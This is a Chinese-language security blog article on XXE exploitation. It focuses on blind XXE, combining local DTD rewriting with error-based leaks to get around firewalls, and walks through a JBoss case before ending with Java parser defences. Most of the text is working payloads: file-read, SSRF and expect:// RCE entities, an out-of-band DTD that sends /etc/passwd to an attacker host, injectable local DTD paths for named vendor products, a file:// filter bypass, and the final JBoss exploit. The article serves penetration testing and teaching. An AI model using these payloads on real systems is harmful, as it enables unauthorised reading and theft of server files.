其他
原创 | XXE利用:结合Local DTD和Error-Based技巧bypass防火墙
关注我们
XXE的原理十分简单,就是服务端xml解析器允许外部实体且未作限制,解析外部实体时遇到类似
SYSTEM "URI"
的关键字时,会去请求后面的URI。这部分已经很多人讲过了,算是比较基础的知识,这里不再赘述。2.1 XXE基础
当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是在无回显的情况下,也可以通过带外攻击或报错的的方式来获取文件内容。
常见的payload如下:
文件读取
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
SSRF
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://victim.com/" >]>
<foo>&xxe;</foo>
RCE
注意,这个需要服务端PHP开启expect模块才行。
<!DOCTYPE foo[
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >
]>
<creds>
<user>`&xxe;`</user>
<pass>`mypass`</pass>
</creds>
Blind XXE
以上那些payload是针对服务端有回显的情况,在服务端无回显的情况下则无法读取到文件内容的。这种情况下一般有两种利用方法:error-based和out-of-bind。大致payload如下
out-of-band
<!-- malicious.dtd, in attacker server -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!-- payload -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://attacker.com/malicious.dtd"> %xxe;]>
java的一些协议对文件内容进行编码压缩来进一步利用,某些情况下可以使用FTP
协议来代替HTTP协议进行利用。
error-based
如果服务端会返回报错信息,则可以利用XML解析过程中的报错内容来获取文件内容,payload如下。
<!-- malicious.dtd, in attacker server -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
<!-- payload -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://attacker.com/malicious.dtd"> %xxe;]>
2.2 Local DTD利用原理
对于实际遇到的XXE,很大一部分都是无回显的。而对于Blind XXE,一般都是直接通过上面的payload,借助oob和报错来进行文件的读取。
但值得注意的是,由于现在网络架构的日益复杂,加之众多厂商安全意识的提高,有时可能会存在这么一种情况:攻击者服务器和目标服务器之间存在防火墙,从而导致目标服务器无法访问攻击者服务器上的dtd文件。简而言之,就是由于防火墙的限制,目标服务器无法访问攻击者的机器。
此时又该如何利用呢?可利用目标服务器上的Local DTD重写来进一步获取文件内容。
2.Summary of Local DTD Technique
介绍一下Local DTD利用原理,大致如下:首先LocalDTD是指目标服务器本机上的DTD文件,因为是利用的目标服务器上已有的DTD文件,就在服务器本机上,因此根本无需出网,也就无视了防火墙的限制,无需考虑网络隔离的问题。
其次需要明白,内部实体是无法在一个参数实体中引用另一个参数实体的。比如下面这个payload
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<msg></msg>
就会产生如下报错:
Internal Error: SAX Parser Error. Detail:
The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD.
test.dtd
文件,内容如下: <!ENTITY % condition "and | or | not | equal">
<!ELEMENT pattern (%condition;)>
我们可以引用test.dtd
,构造如下payload: <?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///etc/test.dtd">
<!ENTITY % condition 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<msg>xxx</msg>
test.dtd
后,再在payload中定义其中的参数实体condition
,就会覆盖其原本的值。也即参数实体condition
的内容被rewrite成了精心构造的payload的值。简单来说,很类似参数重赋值。知道了这些,就可以基于此来进行利用。明确一下目标,我们需要找到一个服务器上存在的dtd文件,这个文件中要包含如下模式的实体定义:
..
<!ENTITY % injectable "xxx">
..
<!ENTITY % foobar (%injectable;)>
..
这并不难,很多linux系统都有一些通用的dtd文件,并且这些文件都是开源的。比如GNOME桌面环境就使用了
/usr/share/yelp/dtd/docbookx.dtd
。更加幸运的是,GoSecure发布了一个专门的查找工具,用起来很简单,可以帮助我们找到符合条件的Local DTD。
下面还列出了一些系统中普遍存在的Local DTD和其对应的payload。不过还是推荐gosecure提供的工具,很好用。
<!-- Cisco WebEx -->
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
<!-- Citrix XenMobile Server -->
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
<!-- Custom Multi-Platform IBM WebSphere Application -->
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;
2.3 实际漏洞
把请求包的
Content-Type
改成application/xml
之后重放这个数据包,发现服务端(JBoss)抛出一段错误,大概是说希望解析XML,但是却提供了JSON。使用以下数据进行重放,发现请求成功。
<root>
<id>123</id>
<name>tom</name>
</root>
<!DOCTYPE foo[
<!ENTITY x SYSTEM "file:///etc/passwd">
]>
<root>
<id>1</id>
<name>&x;</name>
</root>
file://
协议之前简单的加一个空格就能绕过去。payload如下: <!DOCTYPE foo[
<!ENTITY x SYSTEM " file:///etc/passwd">
]>
<root>
<id>1</id>
<name>&x;</name>
</root>
进一步尝试利用会发现:
如果尝试读取类似 /etc/shadow
的文件,服务端会返回permission denied
。如果尝试读取不存在的文件,服务端会返回 file not exists
。
到这里,基本就能确认XXE问题的存在。
但是如何进一步利用呢?服务端只会返回一些报错信息,并不会直接返回要读取文件的内容,可以是说是Blind XXE。
尝试利用HTTP OOB来读取文件,先用burp collaborator尝试一下看能不能访问。payload如下:
<!DOCTYPE foo[
<!ENTITY % x SYSTEM " http://xxxxxx.burpcollaborator.net">
%x;
]>
<root>
<id>1</id>
<name>tom</name>
</root>
所以,接下来就要尝试前文提到的local dtd和error-based来利用了。
这里使用GoSecure的工具去探测服务器上可利用的Local DTD。
$ docker export {container} -o jboss.tar
$ java -jar dtd-finder-1.0-all.jar jboss.tar
通过这个工具找到了
/schema/xmlschema/XMLSchema.dtd
中存在一个可注入的实体xs-datatypes
检查
XMLSchema.dtd
的文件内容: ....
<!ENTITY % xs-datatypes PUBLIC 'datatypes' 'datatypes.dtd' >
....
%xs-datatypes; <!--这里可以重写参数实体>
...
....
<!ENTITY % xs-datatypes '<!ENTITY % file SYSTEM " file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM ' file:///xyz/%file;'>">
%eval;
%error;
'>
<!DOCTYPE root [
<!ENTITY % x SYSTEM
"jar:file:///jboss-as/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd">
<!ENTITY % xs-datatypes ' <!ENTITY % file SYSTEM " file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM ' file:///xyz/%file;'>">
%eval;
%error;
'>
%x;
]>
<root>
<id>1</id>
<name>tom</name>
</root>
不过这里的payload,网站的展示有问题,以截图中的为准
2.4 XXE的防御
不过本次漏洞是java的,而JAVA中解析XML常见的几个库有DOM、DOM4J、JDOM 和SAX等。
1.setFeature
feature表示解析器的功能,通过设置feature,我们可以控制解析器的行为。
// 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在
setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体
setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体
还有就是就是配置XML处理器去使用本地静态的DTD
不允许XML中含有任何自定义的DTD。代码大致如下:
public String xxe_SAXParser_fix(HttpServletRequest request) {
try {
String xml_con = getBody(request);
System.out.println(xml_con);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler()); // parse xml
return "test";
} catch (Exception e) {
System.out.println(e);
return "except";
}
}
本篇文章介绍了各种XXE类型的利用方法,当然重点在于blind xxe的利用,简单介绍了error-based和oob这两种利用方法,着重强调了当存在防火墙无法访问外部dtd时,通过Local DTD rewrite和error-based技巧的结合,来对blind xxe进一步利用。
往期推荐